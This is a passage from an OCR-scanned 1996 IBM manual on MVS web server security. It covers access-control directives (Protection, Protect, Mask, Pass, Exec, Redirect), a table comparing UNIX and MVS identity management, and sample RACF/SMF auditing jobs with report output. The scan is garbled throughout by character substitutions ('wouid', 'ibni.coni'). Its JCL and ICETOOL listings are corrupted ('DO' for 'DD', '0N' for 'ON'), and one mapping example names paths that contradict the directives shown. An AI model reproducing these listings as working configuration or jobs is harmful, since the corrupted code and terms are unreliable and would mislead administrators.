and shttp: for S-HTTP) are contradictory. However, it is difficuit to imagine a 
situation in which combining the protocois wouid make any sense. 

- A Thought - 

This raises an interesting point. If you were using an export version of the 
server (with 40-bit keys) you wouid presumabiy get the effect of a iarger key 
size by enveioping an encrypted S-HTTP session within an SSL secure 
channei. You wouid be using a iegaliy exported product, but wouid you 
technioaliy be breaking the conditions of the export iicense? A question for 
the iawyers! 


For a comprehensive description on how to impiement SSL and S-HTTP refer to 
Safe Surfing: How to Build a Secure World Wide Web Connection. 
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Appendix A. Directives and Sub-directives That Are Used to Controi 
Access 

Security for your Internet Connection Server for MVS/ESA can be controlled by 
using basic server security. This security facility consists of a set of 
authentication and authorization rules that are defined through statements In the 
configuration file. These statements are called directives and sub-directives. 

The location of the default configuration file is /etc/httpd.conf. 

The following topics describe the directives and sub-directives used in 
controlling access to your Web server. 

For an complete overview of the directives and sub-dIrectIves refer to Internet 
Connection Server for MVS/ESA User's Guide. 

A.1.1 Protection Directive 

The Protection directive is used to define a protection setup within the 
configuration file. You give the protection setup a name and define the type of 
protection using protection sub-directives. In the configuration file, you must 
place Protection directives before any DefProt or Protect directives that point to 
them. 

The format of the directive is: 

Protection label-name { 
sub-directives value 
sub-directives value 
sub-directives value 
} 

The label-name is the name you want to associate with this protection setup. 

The name can the be used by subsequent DefProt and Protect directives to point 
to this protection setup. 

You should put sub-directives and their values on each line between the left 
brace and the right brace. You cannot put any comment lines between the 
braces. 

A.1.2 Userid Directive 

The Web server daemon accesses the selected Web pages on behalf of the 
client. The Internet Connection Server for MVS/ESA has a user ID with an UID(O) 
assigned to it so that the Web server runs as superuser. The Web server 
changes to either a surrogate user ID or the client's local OpenEdItlon MVS user 
ID. 

The Userid directive Is used to specify the user ID that the server Is changed to 
before accessing the various files (pages). The ability to change to a different 
user ID Is controlled by various profiles In RACF. Refer to Chapter 5, 

“Protecting Your Internet Connection Server for MVS/ESA” on page 47 for a 
detailed overview of this identity change facility as well as the surrogate support 
facility. 

The Internet Connection Server for MVS/ESA does not service data from Its own 
WEBSERV user ID because of Its level of authority. Every request must have a 
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surrogate user ID using the Protect, Defprot, or Userid directive. Therefore, any 
pass ruies that do not invoke a protect wiii use this user ID. 

If you change this directive, you must stop your server and then start it again for 
the change to take effect. The server wiii not pick up the change if you only 
restart it. 

A.1.3 Protect Directive 

This directive can be used to activate protection setup ruies for requests that 
match a tempiate. For protection to work properiy, you must put your DefProt 
and Protect directives before any Pass or Exec directives in your configuration 
fiie. The format of the directive is: 

Protect URL-request-template [setup [username]] 

URL-request-template 

A tempiate for requests for which you want to activate protection. The 
server compares incoming ciient requests to the template and activates 
protection if there is a match. 

setup 

The protection setup you want to activate for requests that match 
URL-request-template. This parameter is optionai. if it is omitted, the 
protection setup is defined by the most recent DefProt directive that 
contains a matching tempiate. 

Protection setup is defined with protection sub-directives, if present, this 
parameter can take one of three forms: 

• A fuli path and fiie name identifying a separate file that contains the 
protection sub-directives. 

• A protection setup iabei name that matches a name defined eariier on 
a Protection directive. The Protection directive contains the protection 
sub-directives. 

• The protection sub-directives. The sub-directives must be enciosed in 
braces ({}). The ieft brace must be the iast character on the same iine 
as the Protect directive. Each sub-directive foliows on its own line. 

The right brace must be on its own line foiiowing the last sub-directive 
iine. You cannot put any comment iines between the braces. 


username 

The OpenEdition MVS user to which the server shouid change when 
serving the request. This aiiows OpenEdition MVS fiie protection to restrict 
access. This parameter is optionai, but if you want to use it you must aiso 
use the setup parameter. The username is used for controliing access to 
MVS resources and must inciude an OMVS segment containing the UiD 
and GID to be used for controiiing access to HFS files. 

The username is oniy meaningful when the server is permitted for the 
identity change facility or the surrogate support facility. These techniques 
are described in Chapter 5, “Protecting Your Internet Connection Server 
for MVS/ESA” on page 47. If username is not specified, it defauits to the 
surrogate user ID. 

username is inherited from a Defprot directive to a Protect directive only 
when the protection setup is aiso inherited. If you use the setup parameter 
without the username parameter on a Protect directive, username defaults 
to the surrogate user ID, regardless of any previous matching Defprot 
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directives. Because of this default, the server will not run with the wrong 
protection setup. 


A.1.4 Serverld Sub-directive 

For user name and password protection, use the Serverld sub-directive to 
specify a name you want to use to identify the protection setup to requestors. 

The name does not need to be a real machine name. 

When the server sends a requestor a prompt for the user name and password. It 
also includes the name you specify on the Serverld. Most browsers display this 
name with the prompt. Because different protection setups can use different 
password files, having a name associated with the protection setup can help the 
requestor decide which user ID and password to send back. 

Many browsers also attempt to automatically send a user name and password If 
the requestor has previously responded to a prompt from a protection setup with 
the same name. 

If the protection setup uses address template protection only, you do not need to 
use the Serverld sub-dIrectIve. 

A.1.5 AuthType Sub-directive 

The AuthType sub-dIrectIve specifies the type of authentication to use when a 
client sends a password to the server. For user ID and password protection, you 
must use the AuthType sub-dIrectIve with a value of Basic. With basic 
authentication, passwords are sent to the server as plain text. They are encoded 
(masked), but not encrypted. 

If the protection setup is uses address template protection only, you do not need 
to use the AuthType sub-directive. 

A.1.6 PasswdFiie Sub-directive 

For user name and password protection, use the PasswdFiie sub-dIrectIve to 
specify the path name of the password file that you want this protection setup to 
use. Or, you can specify %%SAF%% to specify that your system security 
subsystem should be used to validate the users identity and authentication. 

If you are using the security subsystem (for example. Resource Access Control 
Facility), you should define your users In the security system database as 
OpenEditlon MVS users. Refer to Chapter 5, “Protecting Your Internet 
Connection Server for MVS/ESA” on page 47 for more detail on how to define 
OpenEdition MVS users. 

If the protection setup uses address template protection only, you do not need to 
use the PasswdFiie sub-directive. 

A.1.7 Mask Sub-directives 

Use the mask sub-directive to specify valid user names, groups, and address 
templates for different types of requests. The mask sub-dIrectIves protect the 
entire directory that the request is mapped to. 

Each request to your server contains an FITTP method field that Identifies the 
type of request being made. The following list depicts the methods that the 
Internet Connection Server for MVS/ESA supports. 
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DELETE Delete programs let clients delete Information from your server. You 
must use the DELETE-ScrIpt directive to specify a program to process 
delete requests. The program you use determines how the server 
handles these requests. You must use protection setups to define who 
can use this method for which files. 

GET The server returns whatever data Is identified by the URL. If the URL 
refers to an executable program, the server returns the output of the 
program. In brief, you can receive and display all the HTML pages, but 
you cannot submit a form. 

HEAD The server returns only HTTP document headers without the document 
body. 

POST The request contains data and a URL. The server creates a new object 
with the data portion of the request. The server links the new object to 
the URL sent on the request. The server gives the new object to a URL. 
The server sends the URL of the new object back to the client. The new 
object is subordinated to the URL contained on the request. POST 
creates new documents; use PUT to replace existing data. 

The POST method is commonly used to process HTML forms. For 
example, the Internet Connection Server Configuration and 
Administration Forms use the POST method. 

PUT Put programs let clients add or replace information on your server. For 
your server to use this method, you must use the PUT-Script directive to 
specify a program to process put requests. The program you use 
determines how the server handles these requests. You must use 
protection setups to define who can use this method for which files on 
the server. 

The server deletes the current data defined by the URL and replaces it 
with the new data contained in the request. PUT replaces existing data; 
use POST to create new documents. 

Choose which mask sub-directives to use based on the type of requests you 

want to authorize. For a protection setup to be valid, it must contain at least one 

of the following mask sub-directives: 

DeleteMask 

This mask authorizes the DELETE requests. 

GetMask 

This mask authorizes the GET requests. 

PostMask 

This mask authorizes the POST requests. 

PutMask 

This mask authorizes the PUT requests. 

Mask 

This mask authorizes requests using any enabled methods not covered by 
the other mask sub-directives. Other mask sub-directives take precedence 
over the Mask sub-directive if both are present in the protection setup. For 
example, if a protection setup contains a DeleteMask sub-directive and a 
Mask sub-directive, DELETE requests are covered by the Delete Mask 
sub-directive and all other requests are covered by the Mask sub-directive. 
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A.1.8 Server Group Files 

You can use group files to classify users into groups. Protection setups can 
point to a server group file. The protection setup can then use the groups 
defined in the server group files on Mask sub-directives. If a protected directory 
contains an ACL file, the rules in the ACL file can also use the groups defined in 
the server group file. 

You can create as many server group files as you need. Within the server group 
file, each line contains a group definition using the following format: 

groupname : userl [,user2[,user3 _ ]] 

The groupname can be any name you want to use to identify the group file. This 
name can be used on: 

• Mask sub-directives within protection setups that point to the server group 
file. 

• Access rules within ACL files on directories that are protected with a 
protection setup that points to the server group file. 

• Subsequent group definitions within the same server group file. 

user1[,user2[,user3....]] can be any combination of user names, group names, 
and address templates. Separate each item with a comma. For user names to 
be valid, they must be defined in the password file that the protection setup 
points to. Group names must be defined on previous group definition statements 
in the same group file. 

Below you will find an examples server group name file. 

groupl : (userl,user2)@96.96.3.1 

group2 : user3,user4@(walden,pond.*.*,123.*.*.*) 

group3 : groupl,group2 

group4 : A1 l@*ibni.coni 

A.1.9 User Names, Group Names, and Address Templates on Mask 
Sub-directives 

The Mask sub-directives enable you to specify valid user names, groups, and 
address templates for different types of requests. Following are explanations 
and examples of the different ways you can specify user names, group names, 
and address templates on mask sub-directives. 

• You can specify a user name without an address template. 

The user name must be defined in the protection setup password file or in 
the security subsystem database. If the requestor returns the user name 
with the correct password, the server completes the request. 

• You can specify an address template without a user name. 

If the requestor address matches the address template, the server completes 
the request without prompting the requestor for a user name and password. 

The address template can be based on either IP address or host name. Use 
the asterisk (*) as a wildcard in any part of the template. To indicate you 
want to use address template protection only, precede the template with one 
of the following: @, Anybody®, Anyone®, Anonymous® 

For example, use: 
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GetMask Anybody@123.45.2.* 

PostMask @96.*.*.* 

DeleteMas k Anonymous@walden.pond.*.* 

In order to compare the requestor host name against address templates, you 
must set the DNS-Lookup directive to On. If the DNS-Lookup directive is set 
to Off (the default), your server can compare only the IP address of the 
requestor to the address template. 

The value you use affects the performance of your server. 

• You can specify a user name with an address template. 

The user name must be defined in the protection setup password file or in 
the security subsystem database. Separate the user name from the address 
template with the at sign character (@). If the requestor returns the user 
name with the correct password and the requestor address matches the 
address template, the server completes the request. 

GetMask userl@96.96.*.* 

PostMask user2@*ibni.coni 

• You can use the value All or Users with or without an address template to 
represent all user names defined in the password file or all OpenEdition MVS 
users in the security subsystem database. If the requestor returns the user 
name with the correct password and the requestor address matches the 
address template, the server completes the request. 

GetMask All 

PostMask All@(96.*.*.*,*.ibni.coni,123.45.2.*) 

• You can specify a group name that is defined in the server group file 
specified on the GroupFile sub-directive. 

A group name can include user names, other group names, and address 
templates in any of the same formats allowed on masking sub-directives. To 
be valid, any user names included in the group name must also be defined 
in the protection setup password file or in the security subsystem database. 

If the requestor returns the user name with the correct password and the 
requestor address matches the address template, the server completes the 
request. 

GetMask groupl 
PostMask group2 

• You can use the values Anybody, Anyone, or Anonymous without an address 
template or with an address template of (*) to indicate you do not want to 
use any protection for requests covered by this sub-directive. The server 
completes requests without prompting for a user name and password and 
without checking the address of the requestor. 

• You can specify multiple lines on each sub-directive. Separate each item 
with a comma. The comma is treated as a logical OR. 

• You can continue a list of user and group names onto a new line by ending 
the previous line with a comma. 

• You can use parentheses to keep user names and group names together or 
address templates together. 

GetMask (userl,user2)@96.96.*.*, 

user3@(water.foul.com,123.45.2.*), 

(groupl.group2,group3)@(98.*,146.*) 
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A.2 Passing Requests 

Besides activating prctection for requests, you must aiso teii your server which 
requests to accept for processing. 

Use Pass and Exec directives to specify which requests you want your server to 
accept. The Pass and Exec directives map requests to actuai directories and 
fiies on your server. 

Like the protect directive, each Pass and Exec directive contains a request 
tempiate. After the server checks to see if a request activates protection, it goes 
through its iist of Pass and Exec directives to determine if it shouid accept the 
request. If the request matches a request tempiate on a Pass or Exec directive, 
the server accepts the request. 

If protection was activated, the server uses the protection setup to determine 
whether it shouid complete the request. 

- Attention - 

You must put your Protect directives before any Pass or Exec directives in 
your configuration fiie. 

For protection to work properiy, you must verify that your Pass and Exec 
directives accept the requests that your Protect directives activate protection 
for. 


Use Pass directives to accept document requests and use Exec directives to 
accept CGI program requests. 

A.2.1 Mapping Rules: Defining Where the Documents Are 

The Internet Connection Server for MVS/ESA provides a facility that allows you 
to define mapping rules to determine which file will really be retrieved when a 
user requests it. 

The mapping directives have two or three elements to them, as follows: 
Directive URL-request-template [result-string] 

The first component is the directive itself, which tells the server what action to 
take when it receives a request for a URL that matches the 
URL-request-template (the second component). Some of the directives also 
supply a result string. If this is supplied, the server uses it to substitute all or 
part of the original request string. 

You can use the asterisk (*) as a wildcard character in the request template. If 
the template uses a wildcard character, the result string can use the same 
wildcard character. Blanks, asterisks, and backlashes are allowed in templates 
if they are preceded by a backlash. The tilde (~ ) character just after a slash (in 
the beginning of a directory name) has to be explicitly matched; a wildcard 
cannot be used to match it. 

The directive in a mapping statement can have any of the following values: 

Pass This will cause requests that match the URL template to be accepted. 
If you do not use a result string in the directive, the request is 
accepted as is. If you do use a result string in the directive, the 
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request string is first mapped to the resuit string. The resuit string is 
then used as the request. In either case, the request is not mapped 
against any further directives, so the order in which you code Pass 
directives is important. Exampies are: 

Pass /updates/parts/* /usr/lpp/internet/ServerRoot/pub/* 

In the above, ycur server would respond to a request starting 
/update/parts/ with a document from 
/usr/Ipp/internet/ServerRoot/pub/. Anything that followed 
/update/parts/ wculd also be used to identify the dccument. Your 
server wculd respcnd to the request 

/update/parts/printers/ribbcn.html with the document in file 
/usr/Ipp/internet/ServerRoot/printers/ribbon.html. 

Defaults are: 

Pass /icons/* /usr/lpp/internet/ServerRoot/icons/* 

Pass /Admin/* /usr/lpp/internet/ServerRoot/Admin/* 

Pass /Docs/* /usr/lpp/internet/ServerRoot/Docd/* 

Pass /* /usr/lpp/internet/ServerRoot/pub/* 

In this case a request fcr URL http://ycur_server/gif/pix.gif would 
cause file pix.gif to be served from directory d:/usserv/gif. The /* 
directive acts as a catchall. Any request that dees not match any 
previous Pass, Fail or Exec directives is assumed to refer tc a file in 
directory d:/usserv/html. 

Fail This will cause requests that match the URL template to be rejected 

with a 403 (Forbidden - by rule) status code. The request will not be 
compared against templates cn any successive mapping directives. 
For example, the fcllowing directive will refuse tc serve any requests 
for URLs containing file names in the /myprivate directory: 

Fail /usr/local/private/* 

Map This will cause requests that match the URL template to be mcdified 

to a new URL specified by the result-string field. The server then 
uses the new result string as the request string for successive 
mapping directives. 

For example, if the client requested URL http://your_server/stuff.html, 
the follcwing mapping directives would transform it into 
http://your_server/good/stuff.html: 

Map /stuff/* /good/stuff/* 

Exec This will invoke the CGI interface. Use this directive to run a CGI 

script if the request string matches the URL template. Ycu must put a 
single asterisk at the end of both the template and the result string. 
The part of the result string before the asterisk identifies the path 
where the CGI script is located. The asterisk in the result string is 
replaced with the name of the CGI script specified cn the request 
string. 

Optienally, the request string can also contain additional data that is 
passed tc the CGI script in the PATH INFO envircnment variable. The 
additional data follows the first slash character that comes after the 
CGI script name cn the request string. The data is passed acccrding 
to CGI specifications. 

A request string may already have been transformed by a previous 
mapping directive before it is matched against an Exec template. If a 
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script name begins with the nph- prefix, the server wiii assume that it 
is a no-parse header script. A no-parse header script has output that 
is a compiete HTTP response requiring no further action 
(interpretation or modification) on the part of the server. 

Exec /idd/depts/* /depts/bin/* 

In the above exampie, a request for a URL of 

http://your_server/idd/depts/pian/c92 wouid cause the CGI script in 
/depts/bin/pian.exe to be executed with c92 passed to it. 

Defauits are: 

Exec /cgi-bin/* /usr/lpp/internet/ServerRoot/cgi-bin/* 

Exec /admin-bin/* /usr/lpp/internet/ServerRoot/admin-bin/* 

Redirect This sends matching requests to another server. You can use this 

directive to send a request that matches the Redirect URL tempiate to 
another server. Your server wili not toil the requestor that the 
request is actuaiiy being answered by another server. The resuit 
string on this directive must be a fuii URL. 

For exampie, using the foliowing directive, a request for URL 
http://your_server/www/thing1 .htmi wouid cause the fiie to be served 
by server www.other.org. 

Redirect /www/* http://www.other.org/newserv/htnil/* 

(In fact, the file that is really served depends on the mapping 
directives in place on the new server, www.other.org) 

Note that you can use mapping directives to create a virtual hierarchy of Web 
resources. Even if your server presents documents that are on different 
systems, it can present a consistent virtual layout. This allows you to change 
the physical location of files or directories without affecting what the user sees. 

A.2.2 Processing Sequence For Mapping Directives 

The most important thing to remember when creating mapping rules is that they 
are processed sequentially. If you create a rule and find that it is not working as 
expected, check that your request does not match some other directive earlier in 
the file. The processing sequence for mapping directives is as follows: 

1. The request string is compared against the templates in the mapping 
directives. Comparisons begin at the top of the configuration file and move 
toward the bottom. 

2. If a request string matches a Map template exactly, the result string replaces 
the original request string. The result string is then used as the request 
string for successive mapping directives. 

3. If a request string matches a Map template with a wildcard, then the part of 
the request that matches the wildcard is inserted in place of the wildcard in 
the result string. If the result string has no wildcard, it is used as it is. The 
result string is then used as the request string for successive mapping 
directives. 

4. If a request string matches Pass, Fail, Redirect, or Exec templates, the 
request is processed according to that directive. The request is not checked 
against any other mapping directives. 
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You will find the mapping directives in a group together within the configuration 
file. You can edit them directly, or select Resource Mapping and then Request 
Routing from the Configuration and Administration form. 
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Appendix B. Managing User identities and Authorizations 


There are seme differences in the way UNiX and MVS systems manage user 
identities and authorizations. Tabie 4 contrasts various aspects of security on 
UNIX and MVS. 


CATEGORY 

UNIX 

MVS 

OpenEdition MVS 

User identity 

Users are assigned a 
unique UID {4-byte 
integer and user name) 

Users are assigned a 
unique user ID (1 to 8 
characters) 

Users are assigned a 
unique user ID with an 
associated UID 

Security identity 

UID 

user ID 

UID for accessing 
traditional UNIX 

resources and the user 

ID for accessing 
traditional MVS 

resources 

Login ID 

Name used to locate a 

UID 

Same as the user ID 

Same as the user ID 

Special user 

Single root user ID 
(called the superuser, 
with UID=0) is defined 
and the password is 
shared by all users that 
require the root user ID 

RACF administrator 
assigns necessary 
authority to users 

Multiple user IDs can be 
assigned a UID of 0 or 
users can be permitted 
to BPX.SUPERUSER 

Data set access 

Superuser can access 
all files 

All data sets controlled 
by RACF profiles. The 
RACF administrator can 
gain access to all files. 

Superuser can access 
all HFS files; MVS data 
sets controlled by RACF 
profiles. 

Identity change from 
superuser to regular 

user 

Superuser can change 
the UID of a process to 
any UID using setuid() 
or seteuidO functions 

APF-authorized program 
can invoke SAF service 
to change identity 

There are two options: 

1. If the BPX.DAEMON 
FACILITY class 
profile is not 
defined, the 
superuser can 
change the UID of a 
process to any UID 
using setuidO or 
seteuidO functions. 

2. The superuser must 
be permitted to the 
BPX.DAEMON 

FACILITY class 
profile in order to 
change UIDs. 

Identity change from 
regular user to 
superuser 

su shell command 
allows change if user 
provides root's 
password 

No provision for 
unauthorized user to 
change identity 

su shell command 
allows change if user is 
permitted to the 

BPX.SUPERUSER 

FACILITY class profile 

Identity change from 
regular user to regular 

user 

su shell command 
allows change if user 
provides password 

No provision for 
unauthorized user to 
change identity 

su shell command 
allows change if user 
provides password 
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CATEGORY 

UNIX 

MVS 

OpenEdition MVS 

Terminate user 

processes 

Superuser can kill any 
process 

MVS operator can 
cancel any address 
space 

Superuser can kill any 
process 

Multiple logins 

Users can login to a 
single user ID multiple 
times 

Users can only log on to 
TSO/E once per user ID 

Users can riogin 
multiple times to a 
single user ID and logon 
once to TSO/E at the 

same time 

Login daemons 

inetd, riogind, Im, and 
telnetd process user 
requests for login. A 
process is created with 
the user identity (UID). 

TCAS and VTAM 
process user requests 
for logon. A TSO/E 
address space (process) 
is creafed with the user 
identity (user ID). 

Users can log on to 

TSO/E or login using 
one of the login 
daemons. In all cases, 
an address space is 
created with both an 

MVS identity (user ID) 
and a UID. 


Table 4. Comparing UNIX, MVS, and OpenEdition Security 
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Appendix C. Sample Auditing Jobs 


This appendix describes the sample jobs that can be used to verify that the 
Internet Connection Server for MVS/ESA is behaving as you planned it to 
behave. These jobs enable you to verify that the security controls are having the 
effect you predicted. For example, does the client have the type of access he 
needs to have to do his work? Who did update pages on your Web server? Who 
caused access violations, and were these violations right or wrong; should the 
client have access to these pages? 

Sample jobs that are provided are: 

• To collect and print selected fields from SMF records that are created by 
checking access to a file 

This process consists of two steps. In step 1 you collect the SMF records 
from the live data set or a history SMF data set. The tool that is used is the 
RACF SMF data unload utility. In step 2 DFSORT-ICETOOL is used to select 
and print the various field from the selected records. 

• To list the superusers in your environment 

This process consist of two steps. In step 1 you collect records from the 
RACF database by using the RACF database unload utility. In step 2 
DFSORT-ICETOOL is used to select and print the various field from the 
selected records. 

• To select certain records in the Web server logs 


C.1 RACF SMF Data Unload Utility (IRRADUOO) 

IRRADUOO uses the SMF dump utility (IFASMFDP) as the driver module to control 
its invocation. Figure 37 depicts the job to collect security-related SMF records. 

//AUDITl JOB (POK,999),AUDITOR,MSGLEVEL=(1,1),MSGCLASS=X, 

// CLASS=A,NOTIFY=AUDITOR 

//SMF EXEC PGM=IFASMFDP 

//SYSPRINT DO SYS0UT=* 

//ADUPRINT DO SYS0UT=* 

//IN DO DSN=SYSI.SC59.MANX,DISP=SHR 

//OUTDO DO DSN=AUDITOR.SMF,DISP=(NEW,CATLG,KEEP), 

// SPACE=(CYL,(200,10,0)),UNIT=SYSDA, 

// DCB=(RECFM=VB,LRECL=5096,BLKSIZE=6000) 

//SMFOUT DO DUMMY 
//SYSIN DO * 

INDD(IN,OPTIONS(DUMP)) 

0UTDD(SMF0UT,TYPE(0:98)) 

ABEND(NORETRY) 

USER2(IRRADUOO) 

USERS(IRRADU86) 

DATE(96050,96060) 

START(0000) 

END(2400) 

/* 

Figure 37. Sample Job to Dump SMF Records 


© Copyright IBM Corp. 1996 
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IRRADUOO creates a sequential file that can be used in several ways. For 
example, you can view the output directly, you can upload the file to a database 
manager such as DB2, or you can manipulate the file with sort/merge utilities. 


The following job control statements are necessary for executing IRRADUOO: 


EXEC Specifies the program name IFASMFDP, or the procedure name if 

the job control statements are in a procedure library. 

SYSPRINT Defines a sequential message data set produced by IFASMFDP. 

ADUPRINT Defines a sequential message data set produced by the RACF SMF 
data unload utility. 


OUTDD Defines the single sequential output data set of IRRADUOO, which 
has a variable length record format with a LRECL of at least 5096, 
and block size at least four more than the LRECL. You can set 
block size equal to zero to allow the system choose the best block 
size. 


SMFDATA Points to the input SMF data stream. 

SMFOUT Defines the output SMF data stream. It could be changed by the 
control statement that is in SYSIN data stream. 

SYSIN Defines an input data stream for the SMF dump utility (IFASMFDP) 

control statements, which must include the USER2(IRRADU00) and 
USER3(IRRADU86) statements. 

Additional IFASMFDP control statements can be used to select 
records based on data, time, and SMF system ID. 


After the RACF SMF data unload utility has processed a record, control is 
returned to IFASMFDP, which writes the record to the ddname that was specified 
in the IFASMFDP control statements. 


Due to restrictions of the IFASMFDP utility, IRRADUOO and IRRADU86 must reside 
in an APF-authorized library. 

For more information on the RACF SMF data unload utility, see Resource Access 
Control Facility Auditor's Guide and for more information on the IFASMFDP 
utility, see MVS/ESA System Management Facility (SMF). 


C.2 Selecting the Records and Fields 

In step 2, a DFSORT utility (ICETOOL) is used to select certain records and to 
print selected fields of these records. Figure 38 depicts a sample job to run this 
utility. 


158 MVS Web Server: Security 




//AUDIT2 JOB (POK,999),AUDITOR,MSGLEVEL=(1,1),MSGCLASS=X, 

// CLASS=A,NOTIFY=AUDITOR 

11 * 

//SELECT EXEC PGM=ICETOOL 
//TOOLMSG DO SYSOUT=* 

//PRINT DO DSN=AUDITOR.IRRADUOO,DISP=(NEW,CATLG,KEEP), 

// SPACE=(CYL,(2,I,0)),UNIT=SYSDA, 

// DCB=(RECFM=FB,LRECL=I33,BLKSIZE=0) 

//DFSMSG DO SYSOUT=* 

//INDD DO DSN=AUDITOR.SMF,DISP=SHR 

//TEMPOOOI DO DISP=(NEW,DELETE,DELETE), 

// SPACE=(CYL,(50,I0,0)),UNIT=SYSDA 

//TOOLIN DD * 

COPY FROM(INDD) TO(TEMPOOOI) USING(SELU) 

DISPLAY FROM(TEMPOOOI) LIST(PRINT) - 
PAGE - 

TITLET FILE ACCESSES') - 
DATE(YMD/) - 
TIME(12:) - 
BLANK - 

0N(23,8,CH) HEADER('TIME') - 
0N(453,8,CH) HEADER('SUBMITTER') - 
0N(I655,4,CH) HEADER('RD') - 
0N(I660,4,CH) HEADER('WR') - 
0N(I665,4,CH) HEADER('EX') - 
0N(2723,20,CH) HEADER('FILE NAME') - 
ON(576,65,CH) HEADER('PATH NAME') 

/* 

//SELUCNTL DD * 

INCLUDE C0ND=(5,8,CH,ED,C' FACCESS', AND, 

14,8,CH,ED,C'SUCCESS') 

OPTION VLSHRT 
//* 

Figure 38. Sample Job to Select and Print Selected Field from SMF Records 
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The ICETOOL is a multipurpose batch front end DFSORT utility. Among a lot of 
other things, ICETOOL can create an output data set that contains a subset of the 
input data set based on various oriteria for oharacter and numeric field values. 

It can create data sets that show character and numeric fields in a variety of 
simple and tailored report formats that would, for example, allow headings for 
selected fields. 


The following job control statements are necessary for executing ICETOOL: 


EXEC Specifies the program name {PGM = ICETOOL). 

TOOLMSG DD Message data set generated by ICETOOL. 

PRINT DD Data set for the generated report. The name of this DD 

statement is determined by the LIST keyword in the DISPLAY 
parameter. 


DFSMSG DD Data set for messages produced by DFSORT as it selects the 
IRRADUOO records. 


INDD DD 


TEMP0001 

TOOLIN DD 


The input data set (result from SMF data unload utility program) 
for this report, which is determined by the FROM keyword in the 
SORT parameter. 

Specify a temporary data set, which is determined by the name 
you specify in the TO keyword of the SORT statement. 

Specify control statements for the ICETOOL. 


The COPY operator in the TOOLIN DD statement uses the DFSORT control 
statements that are specified by the SELUCNTL DD statement. The SELUCNTL 
DD statement is pointed to by the USING keyword (append the characters CNTL 
to the USING value to create a complete DD name). Note that the USING value 
must be exactly four characters. 


Selection oriteria can be specified by the installation that runs this tool. Input is 
the sequential file produced by IRRADUOO. IRRADUOO produces a flat file that 
represents the security relevant SMF data used as the input to the utility. 
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Each record that is produced by the RACE SMF data unload utility consists of the 
following two parts: 

• A header section, which contains common information such as the data and 
time stamp, user ID, and system identification 

• An event-specific information section 

The format of the various records are described in Resource Access Control 
Facility Macros and Interfaces. 

The sample job in Figure 38 does the following: 

1. Checks EVENT_TYPE in the header portion to see if this record is a FACCESS 
event (Check File Access Record Extension). 

2. Checks EVENT QUAL in the header portion to see if this record is a 
SUCCESS (access allowed) event. You can change this to NOTAUTFI to 
report violations. 

3. If both criteria are met, the tool writes the following information to the output 
data set: 

• The time that the record was written to SMF 

• The user ID associated with the record 

• The type of access that was requested READ, WRITE, or EXECUTE 

• The file name that is being accessed (only 20 characters are displayed, 
the field is 256 characters in length) 

• The requested path name (only 65 characters are displayed, the field is 
1023 characters in length) 

The auditors can select the records, event types, event qualifiers and so forth 
based on what they are looking for. Since we did not expect path names longer 
than 65 characters, we limited the number of characters that are displayed. The 
output file has a fixed record length of 133 characters. 

- Attention - 

The input for the ICETOOL are variable-length records. The first data byte of 
a VLR record has relative position 5 because the first 4 bytes contain the 
record descriptor word (RDW). So you need to add 4 to the offset that is 
shown in the format description for the records. DFSORT considers the RDW 
as part of the selectable record. 


Figure 39 on page 162 shows the output of the sample job in Figure 38. 

For more information on the ICETOOL, see DFSORT Application Programming 
Guide. 
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1- 1 - FILE ACCESSES 96/03/01 12:32:44 pm 


TIME 

SUBMITTER 

RD 

WR 

EX 

EILE NAME 

18:06:57 

PUBLIC 

YES 

NO 

NO 

graph.gif 

18:06:57 

PUBLIC 

YES 

NO 

NO 

imvg910.gif 

18:06:59 

PUBLIC 

YES 

NO 

NO 

imvg911.gif 

18:07:00 

PUBLIC 

YES 

NO 

NO 

imvg912.gi f 

18:07:00 

PUBLIC 

YES 

NO 

NO 

imvg913.gi f 

18:07:00 

PUBLIC 

YES 

NO 

NO 

imvg914.gif 

18:52:36 

WEBSRV 

YES 

NO 

NO 

envvars 

18:52:36 

WEBSRV 

YES 

NO 

NO 

httpd.conf 

18:52:37 

WEBSRV 

NO 

YES 

NO 

httlog.Eeb2996.2352 

18:52:37 

WEBSRV 

NO 

YES 

NO 

htterr.Eeb2996.2352 

18:52:37 

WEBSRV 

NO 

YES 

NO 

httpd-pid 

18:53:14 

WEBSRV 

YES 

NO 

NO 

BonusPak 

18:53:15 

PUBLIC 

YES 

NO 

NO 

imvh000.htmls 

18:53:15 

PUBLIC 

YES 

NO 

NO 

imvh900.html 

18:53:15 

PUBLIC 

YES 

NO 

NO 

imvhfoot.htmls 

18:53:15 

PUBLIC 

YES 

NO 

NO 

imvgOOO.gif 

18:53:17 

PUBLIC 

YES 

NO 

NO 

imvghead.gif 

18:54:03 

PUBLIC 

NO 

NO 

YES 

cgi-query.rexx 

18:54:03 

PUBLIC 

YES 

NO 

NO 

cgi-query.rexx 

18:54:03 

PUBLIC 

YES 

NO 

NO 

envvars 

18:54:03 

PUBLIC 

NO 

NO 

YES 

cgiuti1s 

18:54:04 

PUBLIC 

YES 

NO 

NO 

envvars 

18:54:04 

PUBLIC 

YES 

NO 

NO 

itsopub.txt 

18:54:04 

PUBLIC 

YES 

NO 

NO 

imvgOOO.gif 

18:54:06 

PUBLIC 

YES 

NO 

NO 

imvghead.gif 

18:54:06 

PUBLIC 

YES 

NO 

NO 

request.gi f 

18:54:23 

PUBLIC 

YES 

NO 

NO 

imvh203.htmls 

18:54:23 

PUBLIC 

YES 

NO 

NO 

imvh900.html 

18:54:23 

PUBLIC 

YES 

NO 

NO 

imvhfoot.html s 

18:54:24 

PUBLIC 

YES 

NO 

NO 

imvghead.gif 

18:54:25 

PUBLIC 

YES 

NO 

NO 

imvg911.gif 

18:54:25 

PUBLIC 

YES 

NO 

NO 

imvg912.gi f 

18:54:25 

PUBLIC 

YES 

NO 

NO 

imvg910.gi f 

18:54:28 

PUBLIC 

YES 

NO 

NO 

imvg918.gi f 

18:54:28 

PUBLIC 

YES 

NO 

NO 

imvg919.gi f 

18:54:34 

PUBLIC 

YES 

NO 

NO 

envvars 

18:54:34 

PUBLIC 

NO 

NO 

YES 

cgi-query.rexx 

18:54:34 

PUBLIC 

YES 

NO 

NO 

cgi-query.rexx 

18:54:34 

PUBLIC 

YES 

NO 

NO 

envvars 

18:54:35 

PUBLIC 

NO 

NO 

YES 

cgiuti1s 

18:54:35 

PUBLIC 

YES 

NO 

NO 

envvars 


PATH NAME 


/usr/1 pp/i nternet/ServerRoot/BonusPak/Info/graph.gif 
/usr/1 pp/i nternet/ServerRoot/BonusPak/Images/imvg910.gif 
/usr/1 pp/i nternet/ServerRoot/BonusPak/Images/imvg911.gif 
